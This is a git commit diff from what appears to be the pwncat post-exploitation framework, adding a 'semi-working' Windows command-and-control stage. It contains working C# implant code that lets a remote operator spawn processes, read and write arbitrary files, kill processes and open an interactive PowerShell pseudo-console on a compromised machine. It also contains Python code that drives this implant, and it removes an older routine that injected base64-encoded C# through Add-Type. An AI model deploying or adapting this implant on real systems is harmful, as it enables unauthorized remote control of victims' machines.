Semi-working windows C2

This commit is contained in:
Caleb Stewart 2021-01-03 18:22:17 -05:00
parent 274611263e
commit d6a7c41487
5 changed files with 905 additions and 108 deletions

View File

@ -1,5 +1,183 @@
using System;
using System.IO;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;
class StageTwo
{
private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
private const uint ENABLE_WRAP_AT_EOL_OUTPUT = 0x0002;
private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
private const uint CREATE_NO_WINDOW = 0x08000000;
private const int STARTF_USESTDHANDLES = 0x00000100;
private const int BUFFER_SIZE_PIPE = 1048576;
private const UInt32 INFINITE = 0xFFFFFFFF;
private const int SW_HIDE = 0;
private const uint GENERIC_READ = 0x80000000;
private const uint GENERIC_WRITE = 0x40000000;
private const uint FILE_SHARE_READ = 0x00000001;
private const uint FILE_SHARE_WRITE = 0x00000002;
private const uint FILE_ATTRIBUTE_NORMAL = 0x80;
private const uint OPEN_EXISTING = 3;
private const uint OPEN_ALWAYS = 4;
private const uint TRUNCATE_EXISTING = 5;
private const int STD_INPUT_HANDLE = -10;
private const int STD_OUTPUT_HANDLE = -11;
private const int STD_ERROR_HANDLE = -12;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
private struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
private struct COORD
{
public short X;
public short Y;
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DuplicateHandle(IntPtr hSourceProcess, IntPtr hSource, IntPtr hTargetProcess, out IntPtr lpTarget, uint dwDesiredAccess, bool bInheritHandle, uint dwOptions);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CancelSynchronousIo(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateProcessW(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool GetExitCodeProcess(IntPtr hProcess, out UInt32 lpExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern int ClosePseudoConsole(IntPtr hPC);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetConsoleMode(IntPtr handle, out uint mode);
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool AllocConsole();
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern bool FreeConsole();
[DllImport("user32.dll")]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("kernel32.dll")]
private static extern IntPtr GetConsoleWindow();
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
private static extern bool FlushFileBuffers(IntPtr hFile);
private System.Collections.Generic.List<System.Diagnostics.Process> g_processes;
public System.String ReadUntilLine(System.String delimeter)
{
System.Text.StringBuilder builder = new System.Text.StringBuilder();
@ -32,6 +210,187 @@ class StageTwo
}
}
public void process()
{
IntPtr stdin_read, stdin_write;
IntPtr stdout_read, stdout_write;
IntPtr stderr_read, stderr_write;
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
STARTUPINFO pInfo = new STARTUPINFO();
PROCESS_INFORMATION childInfo = new PROCESS_INFORMATION();
System.String command = System.Console.ReadLine();
pSec.nLength = Marshal.SizeOf(pSec);
pSec.bInheritHandle = 1;
pSec.lpSecurityDescriptor = IntPtr.Zero;
if (!CreatePipe(out stdin_read, out stdin_write, ref pSec, BUFFER_SIZE_PIPE))
{
System.Console.WriteLine("E:IN");
return;
}
if (!CreatePipe(out stdout_read, out stdout_write, ref pSec, BUFFER_SIZE_PIPE))
{
System.Console.WriteLine("E:OUT");
return;
}
if (!CreatePipe(out stderr_read, out stderr_write, ref pSec, BUFFER_SIZE_PIPE))
{
System.Console.WriteLine("E:ERR");
return;
}
pInfo.cb = Marshal.SizeOf(pInfo);
pInfo.hStdError = stderr_write;
pInfo.hStdOutput = stdout_write;
pInfo.hStdInput = stdin_read;
pInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES;
if (!CreateProcessW(null, command, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref pInfo, out childInfo))
{
System.Console.WriteLine("E:PROC");
return;
}
CloseHandle(stdin_read);
CloseHandle(stdout_write);
CloseHandle(stderr_write);
System.Console.WriteLine(childInfo.hProcess);
System.Console.WriteLine(stdin_write);
System.Console.WriteLine(stdout_read);
System.Console.WriteLine(stderr_read);
}
public void ppoll()
{
IntPtr hProcess = new IntPtr(System.UInt32.Parse(System.Console.ReadLine()));
System.UInt32 result = WaitForSingleObject(hProcess, 0);
if (result == 0x00000102L)
{
System.Console.WriteLine("R");
return;
}
else if (result == 0xFFFFFFFF)
{
System.Console.WriteLine("E");
return;
}
if (!GetExitCodeProcess(hProcess, out result))
{
System.Console.WriteLine("E");
}
System.Console.WriteLine(result);
}
public void kill()
{
IntPtr hProcess = new IntPtr(System.UInt32.Parse(System.Console.ReadLine()));
UInt32 code = System.UInt32.Parse(System.Console.ReadLine());
TerminateProcess(hProcess, code);
}
public void open()
{
System.String filename = System.Console.ReadLine();
System.String mode = System.Console.ReadLine();
uint desired_access = GENERIC_READ;
uint creation_disposition = OPEN_EXISTING;
IntPtr handle;
if (mode.Contains("r"))
{
desired_access |= GENERIC_READ;
}
if (mode.Contains("w"))
{
desired_access |= GENERIC_WRITE;
creation_disposition = TRUNCATE_EXISTING;
}
handle = CreateFile(filename, desired_access, 0, IntPtr.Zero, creation_disposition, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
if (handle == (new IntPtr(-1)))
{
int error = Marshal.GetLastWin32Error();
System.Console.Write("E:");
System.Console.WriteLine(error);
return;
}
System.Console.WriteLine(handle);
}
public void read()
{
System.String line;
IntPtr handle;
uint count;
uint nreceived;
line = System.Console.ReadLine();
handle = new IntPtr(System.UInt32.Parse(line));
line = System.Console.ReadLine();
count = System.UInt32.Parse(line);
byte[] buffer = new byte[count];
if (!ReadFile(handle, buffer, count, out nreceived, IntPtr.Zero))
{
System.Console.WriteLine("0");
return;
}
System.Console.WriteLine(nreceived);
using (Stream out_stream = System.Console.OpenStandardOutput())
{
out_stream.Write(buffer, 0, (int)nreceived);
}
return;
}
public void write()
{
System.String line;
IntPtr handle;
uint count;
uint nwritten;
line = System.Console.ReadLine();
handle = new IntPtr(System.UInt32.Parse(line));
line = System.Console.ReadLine();
count = System.UInt32.Parse(line);
byte[] buffer = new byte[count];
using (Stream in_stream = System.Console.OpenStandardInput())
{
count = (uint)in_stream.Read(buffer, 0, (int)count);
}
if (!WriteFile(handle, buffer, count, out nwritten, IntPtr.Zero))
{
System.Console.WriteLine("0");
return;
}
System.Console.WriteLine(nwritten);
return;
}
public void close()
{
IntPtr handle = new IntPtr(System.UInt32.Parse(System.Console.ReadLine()));
CloseHandle(handle);
}
public void powershell()
{
var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK")));
@ -75,4 +434,115 @@ class StageTwo
var obj = r.CompiledAssembly.CreateInstance("command");
obj.GetType().GetMethod("main").Invoke(obj, new object[] { });
}
public void interactive()
{
uint result;
IntPtr stdin_read = new IntPtr(0), stdin_write = new IntPtr(0);
IntPtr stdout_read = new IntPtr(0), stdout_write = new IntPtr(0);
UInt32 rows = System.UInt32.Parse(System.Console.ReadLine());
UInt32 cols = System.UInt32.Parse(System.Console.ReadLine());
COORD pty_size = new COORD()
{
X = (short)cols,
Y = (short)rows
};
IntPtr hpcon = new IntPtr(0);
uint conmode = 0;
IntPtr old_stdin = GetStdHandle(STD_INPUT_HANDLE),
old_stdout = GetStdHandle(STD_OUTPUT_HANDLE),
old_stderr = GetStdHandle(STD_ERROR_HANDLE);
IntPtr stdout_handle = GetStdHandle(STD_OUTPUT_HANDLE);
IntPtr stdin_handle = GetStdHandle(STD_INPUT_HANDLE);
PROCESS_INFORMATION proc_info = new PROCESS_INFORMATION();
SECURITY_ATTRIBUTES proc_attr = new SECURITY_ATTRIBUTES();
SECURITY_ATTRIBUTES thread_attr = new SECURITY_ATTRIBUTES();
SECURITY_ATTRIBUTES pipe_attr = new SECURITY_ATTRIBUTES()
{
bInheritHandle = 1,
lpSecurityDescriptor = IntPtr.Zero,
};
STARTUPINFOEX startup_info = new STARTUPINFOEX();
IntPtr lpSize = IntPtr.Zero;
Thread stdin_thread;
Thread stdout_thread;
bool new_console = false;
proc_attr.nLength = Marshal.SizeOf(proc_attr);
thread_attr.nLength = Marshal.SizeOf(thread_attr);
pipe_attr.nLength = Marshal.SizeOf(pipe_attr);
stdout_handle = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
stdin_handle = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
SetStdHandle(STD_INPUT_HANDLE, stdin_handle);
SetStdHandle(STD_ERROR_HANDLE, stdout_handle);
SetStdHandle(STD_OUTPUT_HANDLE, stdout_handle);
GetConsoleMode(stdout_handle, out conmode);
uint new_conmode = conmode | ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
SetConsoleMode(stdout_handle, new_conmode);
CreatePipe(out stdin_read, out stdin_write, ref pipe_attr, 8192);
CreatePipe(out stdout_read, out stdout_write, ref pipe_attr, 8192);
CreatePseudoConsole(pty_size, stdin_read, stdout_write, 0, out hpcon);
CloseHandle(stdin_read);
CloseHandle(stdout_write);
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
startup_info.StartupInfo.cb = Marshal.SizeOf(startup_info);
startup_info.lpAttributeList = Marshal.AllocHGlobal(lpSize);
InitializeProcThreadAttributeList(startup_info.lpAttributeList, 1, 0, ref lpSize);
UpdateProcThreadAttribute(startup_info.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hpcon, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
CreateProcess(null, "powershell.exe", ref proc_attr, ref thread_attr, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref startup_info, out proc_info);
stdin_thread = new Thread(pipe_thread);
stdin_thread.Start(new object[] { old_stdin, stdin_write, "stdin" });
stdout_thread = new Thread(pipe_thread);
stdout_thread.Start(new object[] { stdout_read, old_stdout, "stdout" });
WaitForSingleObject(proc_info.hProcess, INFINITE);
stdin_thread.Abort();
stdout_thread.Abort();
CloseHandle(proc_info.hThread);
CloseHandle(proc_info.hProcess);
ClosePseudoConsole(hpcon);
CloseHandle(stdin_write);
CloseHandle(stdout_read);
SetStdHandle(STD_INPUT_HANDLE, old_stdin);
SetStdHandle(STD_ERROR_HANDLE, old_stderr);
SetStdHandle(STD_OUTPUT_HANDLE, old_stdout);
CloseHandle(stdout_handle);
CloseHandle(stdin_handle);
System.Console.WriteLine("");
System.Console.WriteLine("INTERACTIVE_COMPLETE");
}
private void pipe_thread(object dumb)
{
object[] parms = (object[])dumb;
IntPtr read = (IntPtr)parms[0];
IntPtr write = (IntPtr)parms[1];
String name = (String)parms[2];
uint bufsz = 16 * 1024;
byte[] bytes = new byte[bufsz];
bool read_success = false;
uint nsent = 0;
uint nread = 0;
try {
do
{
read_success = ReadFile(read, bytes, bufsz, out nread, IntPtr.Zero);
WriteFile(write, bytes, nread, out nsent, IntPtr.Zero);
FlushFileBuffers(write);
} while (nsent > 0 && read_success);
} finally {
}
}
}

View File

@ -23,7 +23,7 @@ from pwncat.commands import CommandParser
class RawModeExit(Exception):
""" Indicates that the user would like to exit the raw mode
"""Indicates that the user would like to exit the raw mode
shell. This is normally raised when the user presses the
<prefix>+<C-d> key combination to return to the local prompt."""
@ -33,8 +33,8 @@ class InteractiveExit(Exception):
class Session:
""" Wraps a channel and platform and tracks configuration and
database access per session """
"""Wraps a channel and platform and tracks configuration and
database access per session"""
def __init__(
self,
@ -86,14 +86,14 @@ class Session:
@property
def config(self):
""" Get the configuration object for this manager. This
"""Get the configuration object for this manager. This
is simply a wrapper for session.manager.config to make
accessing configuration a little easier. """
accessing configuration a little easier."""
return self.manager.config
def register_new_host(self):
""" Register a new host in the database. This assumes the
hash has already been stored in ``self.hash`` """
"""Register a new host in the database. This assumes the
hash has already been stored in ``self.hash``"""
# Create a new host object and add it to the database
host = pwncat.db.Host(hash=self.hash, platform=self.platform.name)
@ -121,9 +121,9 @@ class Session:
return self.manager.modules[module].run(self, **kwargs)
def find_module(self, pattern: str, base=None, exact: bool = False):
""" Locate a module by a glob pattern. This is an generator
"""Locate a module by a glob pattern. This is an generator
which may yield multiple modules that match the pattern and
base class. """
base class."""
if base is None:
base = pwncat.modules.BaseModule
@ -144,16 +144,16 @@ class Session:
yield module
def log(self, *args, **kwargs):
""" Log to the console. This utilizes the active sessions
"""Log to the console. This utilizes the active sessions
progress instance to log without messing up progress output
from other sessions, if we aren't active. """
from other sessions, if we aren't active."""
self.manager.log(f"{self.platform}:", *args, **kwargs)
@property
@contextlib.contextmanager
def db(self):
""" Retrieve a database session
"""Retrieve a database session
I'm not sure if this is the best way to handle database sessions.
@ -279,8 +279,8 @@ class Manager:
pass
def open_database(self):
""" Create the internal engine and session builder
for this manager based on the configured database """
"""Create the internal engine and session builder
for this manager based on the configured database"""
if self.sessions and self.engine is not None:
raise RuntimeError("cannot change database after sessions are established")
@ -313,7 +313,7 @@ class Manager:
pass
def load_modules(self, *paths):
""" Dynamically load modules from the specified paths
"""Dynamically load modules from the specified paths
If a module has the same name as an already loaded module, it will
take it's place in the module list. This includes built-in modules.
@ -354,11 +354,11 @@ class Manager:
self._target = value
def _patch_pwntools(self):
""" This method patches stdout and stdin and sys.exchook
"""This method patches stdout and stdin and sys.exchook
back to their original contents temporarily in order to
interact properly with pwntools. You must complete all
pwntools progress items before calling this. It attempts to
remove all the hooks placed into stdio by pwntools. """
remove all the hooks placed into stdio by pwntools."""
pwnlib = None
@ -442,6 +442,7 @@ class Manager:
)
else:
data = self.target.platform.channel.recv(4096)
self.target.platform.process_output(data)
sys.stdout.buffer.write(data)
except RawModeExit:
pwncat.util.restore_terminal(term_state)

View File

@ -433,6 +433,12 @@ class Platform:
def __str__(self):
return str(self.channel)
def process_output(self, data):
"""Process output from the terminal when in interactive mode.
This is mainly used to check if the user exited the interactive terminal,
and we should raise an InteractiveExit exception. It does nothing by
default."""
def getenv(self, name: str):
""" Get the value of an environment variable """

View File

@ -1,7 +1,9 @@
#!/usr/bin/env python3
from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation
from typing import List
from io import RawIOBase, TextIOWrapper, BufferedIOBase, UnsupportedOperation
from typing import List, Union
from io import StringIO, BytesIO
from subprocess import CalledProcessError, TimeoutExpired
import subprocess
import textwrap
import pkg_resources
import pathlib
@ -15,6 +17,90 @@ import pwncat.subprocess
import pwncat.util
from pwncat.platform import Platform, PlatformError, Path
INTERACTIVE_END_MARKER = b"\nINTERACTIVE_COMPLETE\r\n"
class WindowsFile(RawIOBase):
""" Wrapper around file handles on Windows """
def __init__(self, platform: "Windows", mode: str, handle: int):
self.platform = platform
self.mode = mode
self.handle = handle
self.is_open = True
self.eof = False
def readable(self) -> bool:
return "r" in self.mode
def writable(self) -> bool:
return "w" in self.mode
def close(self):
""" Close a file handle on the remote host """
if not self.is_open:
return
self.platform.channel.send(f"close\n{self.handle}\n".encode("utf-8"))
self.is_open = False
return
def readall(self):
""" Read until EOF """
data = b""
while not self.eof:
new = self.read(4096)
if new is None:
continue
data += new
return data
def readinto(self, b: Union[memoryview, bytearray]):
if self.eof:
return 0
self.platform.channel.send(f"read\n{self.handle}\n{len(b)}\n".encode("utf-8"))
count = int(self.platform.channel.recvuntil(b"\n").strip())
if count == 0:
self.eof = True
return 0
n = 0
while n < count:
try:
n += self.platform.channel.recvinto(b[n:])
except NotImplementedError:
data = self.platform.channel.recv(count - n)
b[n : n + len(data)] = data
n += len(data)
return count
def write(self, data: bytes):
""" Write data to this file """
if self.eof:
return 0
nwritten = 0
while nwritten < len(data):
chunk = data[nwritten:]
self.platform.channel.send(
f"write\n{self.handle}\n{len(chunk)}\n".encode("utf-8") + chunk
)
nwritten += int(
self.platform.channel.recvuntil(b"\n").strip().decode("utf-8")
)
return nwritten
class PopenWindows(pwncat.subprocess.Popen):
"""
@ -27,28 +113,182 @@ class PopenWindows(pwncat.subprocess.Popen):
args,
stdout,
stdin,
stderr,
text,
encoding,
errors,
bufsize,
start_delim: bytes,
end_delim: bytes,
code_delim: bytes,
handle,
stdio,
):
super().__init__()
self.platform = platform
self.handle = handle
self.stdio = stdio
self.returncode = None
class WindowsReader(BufferedIOBase):
"""
A file-like object which wraps a Popen object to enable reading a
remote file.
"""
self.stdin = WindowsFile(platform, "w", stdio[0])
self.stdout = WindowsFile(platform, "r", stdio[1])
self.stderr = WindowsFile(platform, "r", stdio[2])
if stdout != subprocess.PIPE:
self.stdout.close()
self.stdout = None
if stderr != subprocess.PIPE:
self.stderr.close()
self.stderr = None
if stdin != subprocess.PIPE:
self.stdin.close()
self.stdin = None
class WindowsWriter(BufferedIOBase):
"""A wrapper around an active Popen object which is writing to
a file. Remote files are not seekable, and cannot be simultaneous
read/write."""
if text or encoding is not None or errors is not None:
line_buffering = bufsize == 1
bufsize = -1
if self.stdout is not None:
self.stdout = TextIOWrapper(
self.stdout,
line_buffering=line_buffering,
encoding=encoding,
errors=errors,
)
if self.stderr is not None:
self.stderr = TextIOWrapper(
self.stderr,
line_buffering=line_buffering,
encoding=encoding,
errors=errors,
)
if self.stdin is not None:
self.stdin = TextIOWrapper(
self.stdin, encoding=encoding, errors=errors, write_through=True
)
def detach(self):
self.returncode = 0
if self.stdout is not None:
self.stdout.close()
if self.stderr is not None:
self.stderr.close()
if self.stdin is not None:
self.stdin.close()
def kill(self):
return self.terminate()
def terminate(self):
if self.returncode is not None:
return
self.platform.channel.send(f"kill\n{self.handle}\n0\n".encode("utf-8"))
self.returncode = -1
def poll(self):
""" Poll if the process has completed and get return code """
if self.returncode is not None:
return self.returncode
self.platform.channel.send(f"ppoll\n{self.handle}\n".encode("utf-8"))
result = self.platform.channel.recvuntil(b"\n").strip().decode("utf-8")
if result == "E":
raise RuntimeError(f"process {self.handle}: failed to get exit status")
if result != "R":
self.returncode = int(result)
return self.returncode
def wait(self, timeout: float = None):
if timeout is not None:
end_time = time.time() + timeout
else:
end_time = None
while self.poll() is None:
if end_time is not None and time.time() >= end_time:
raise TimeoutExpired(self.args, timeout)
time.sleep(0.1)
self.cleanup()
return self.returncode
def cleanup(self):
if self.stdout is not None:
self.stdout.close()
if self.stdin is not None:
self.stdin.close()
if self.stderr is not None:
self.stderr.close()
# This just forces CloseHandle on the hProcess
WindowsFile(self.platform, "r", self.handle).close()
self.handle = None
self.stdout = None
self.stderr = None
self.stdin = None
def communicate(self, input=None, timeout=None):
if self.returncode is not None:
return (None, None)
if input is not None and self.stdin is not None:
self.stdin.write(input)
if timeout is not None:
end_time = time.time() + timeout
else:
end_time = None
stdout = (
"" if self.stdout is None or isinstance(self.stdout, TextIOWrapper) else b""
)
stderr = (
"" if self.stderr is None or isinstance(self.stderr, TextIOWrapper) else b""
)
while self.poll() is None:
if end_time is not None and time.time() >= end_time:
raise TimeoutExpired(self.args, timeout, stdout)
if self.stdout is not None:
new_stdout = self.stdout.read(4096)
if new_stdout is not None:
stdout += new_stdout
if self.stderr is not None:
new_stderr = self.stderr.read(4096)
if new_stderr is not None:
stderr += new_stderr
if self.stdout is not None:
while True:
new = self.stdout.read(4096)
stdout += new
if len(new) == 0:
break
if self.stderr is not None:
while True:
new = self.stderr.read(4096)
stderr += new
if len(new) == 0:
break
if len(stderr) == 0:
stderr = None
if len(stdout) == 0:
stdout = None
self.cleanup()
return (stdout, stderr)
class Windows(Platform):
@ -78,6 +318,7 @@ class Windows(Platform):
# Initialize interactive tracking
self._interactive = False
self.interactive_tracker = 0
# Ensure history is disabled (this does not help logging!)
# self.disable_history()
@ -166,6 +407,10 @@ class Windows(Platform):
# Wait for the new C2 to be ready
self.channel.recvuntil(b"READY")
self.channel.recvuntil(b"\n")
def get_pty(self):
""" We don't need to do this for windows """
def _load_library(self, name: str, methods: List[str]):
"""Load the library. This adds a global with the same name as `name`
@ -198,51 +443,76 @@ class Windows(Platform):
self.channel.send(command)
self.session.manager.log(command.decode("utf-8").strip())
def get_pty(self):
""" Spawn a PTY in the current shell. """
def Popen(
self,
args,
bufsize=-1,
stdin=None,
stdout=None,
stderr=None,
shell=False,
cwd=None,
encoding=None,
text=None,
errors=None,
env=None,
bootstrap_input=None,
**other_popen_kwargs,
) -> pwncat.subprocess.Popen:
if self.has_pty:
return
cols, rows = os.get_terminal_size()
# Read the C# used to spawn a conpty
conpty_path = pkg_resources.resource_filename("pwncat", "data/conpty.cs")
with open(conpty_path, "rb") as filp:
source = filp.read()
source = source.replace(b"ROWS", str(rows).encode("utf-8"))
source = source.replace(b"COLS", str(cols).encode("utf-8"))
# base64 encode the source
source = base64.b64encode(source)
CHUNK_SZ = 1024
# Initialize victim source variable
self.channel.send(b'$source = ""\n')
# Chunk the source in 64-byte pieces
for idx in range(0, len(source), CHUNK_SZ):
chunk = source[idx : idx + CHUNK_SZ]
self.channel.send(b'$source = $source + "' + chunk + b'"\n')
# decode the source
self.channel.send(
b"$source = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($source))\n"
)
# Compile and execute
self.channel.send(
b"\n".join(
[
b"Add-Type -TypeDefinition $source -Language CSharp",
b'[ConPtyShellMainClass]::ConPtyShellMain(@("", 0, 24, 80, "powershell.exe")); exit',
]
if self.interactive:
raise PlatformError(
"cannot open non-interactive process in interactive mode"
)
+ b"\n"
)
self.has_pty = True
if shell:
if isinstance(args, list):
args = [
"powershell.exe",
"-noprofile",
"-command",
subprocess.list2cmdline(args),
]
else:
args = ["powershell.exe", "-noprofile", "-command", args]
# This is apparently what subprocess.Popen does on windows...
if isinstance(args, list):
args = subprocess.list2cmdline(args)
elif not isinstance(args, str):
raise ValueError("expected command string or list of arguments")
self.channel.send(f"""process\n{args}\n""".encode("utf-8"))
hProcess = self.channel.recvuntil(b"\n").strip().decode("utf-8")
if hProcess == "E:IN":
raise RuntimeError("failed to open stdin pipe")
if hProcess == "E:OUT":
raise RuntimeError("failed to open stdout pipe")
if hProcess == "E:ERR":
raise RuntimeError("failed to open stderr pipe")
if hProcess == "E:PROC":
raise FileNotFoundError("executable or command not found")
# Collect process properties
hProcess = int(hProcess)
stdio = []
for i in range(3):
stdio.append(int(self.channel.recvuntil(b"\n").strip().decode("utf-8")))
return PopenWindows(
self,
args,
stdout,
stdin,
stderr,
text,
encoding,
errors,
bufsize,
hProcess,
stdio,
)
def get_host_hash(self):
return "windows-testing"
@ -254,26 +524,77 @@ class Windows(Platform):
@interactive.setter
def interactive(self, value):
return
if value == self._interactive:
return
# Reset the tracker
if value:
# Shift to interactive mode
cols, rows = os.get_terminal_size()
self.channel.send(f"\ninteractive\n{rows}\n{cols}\n".encode("utf-8"))
self._interactive = True
self.interactive_tracker = 0
return
if not value:
if self.interactive_tracker != len(INTERACTIVE_END_MARKER):
self.channel.send(b"\rexit\r")
self.channel.recvuntil(INTERACTIVE_END_MARKER)
self.channel.send(b"nothing\r\n")
self._interactive = False
command = (
"".join(
[
"function global:prompt {",
'Write-Host -Object "(remote) " -NoNewLine -ForegroundColor Red;',
'Write-Host -Object "$env:UserName@$(hostname)" -NoNewLine -ForegroundColor Yellow;',
'Write-Host -Object ":" -NoNewLine;',
'Write-Host -Object "$(Get-Location)" -NoNewLine -ForegroundColor Cyan;',
"return '$ ';",
"}",
]
)
+ "\r"
def process_output(self, data):
""" Process stdout while in interactive mode """
for b in data:
if INTERACTIVE_END_MARKER[self.interactive_tracker] == b:
self.interactive_tracker += 1
if self.interactive_tracker == len(INTERACTIVE_END_MARKER):
raise pwncat.manager.RawModeExit
else:
self.interactive_tracker = 0
def open(
self,
path: Union[str, Path],
mode: str = "r",
buffering: int = -1,
encoding: str = "utf-8",
errors: str = None,
newline: str = None,
):
# Ensure all mode properties are valid
for char in mode:
if char not in "rwb":
raise PlatformError(f"{char}: unknown file mode")
# Save this just in case we are opening a text-mode stream
line_buffering = buffering == -1 or buffering == 1
# For text-mode files, use default buffering for the underlying binary
# stream.
if "b" not in mode:
buffering = -1
self.channel.send(f"open\n{str(path)}\nmode\n".encode("utf-8"))
result = self.channel.recvuntil(b"\n").strip()
try:
handle = int(result)
except ValueError:
raise FileNotFoundError(str(path))
stream = WindowsFile(self, mode, handle)
if "b" not in mode:
stream = TextIOWrapper(
stream,
encoding=encoding,
errors=errors,
newline=newline,
write_through=True,
line_buffering=line_buffering,
)
self.logger.info(command.rstrip("\n"))
self.channel.send(command.encode("utf-8"))
return
return stream

33
test.py
View File

@ -1,5 +1,8 @@
#!./env/bin/python
import subprocess
import pwncat.manager
import pwncat.platform.windows
import time
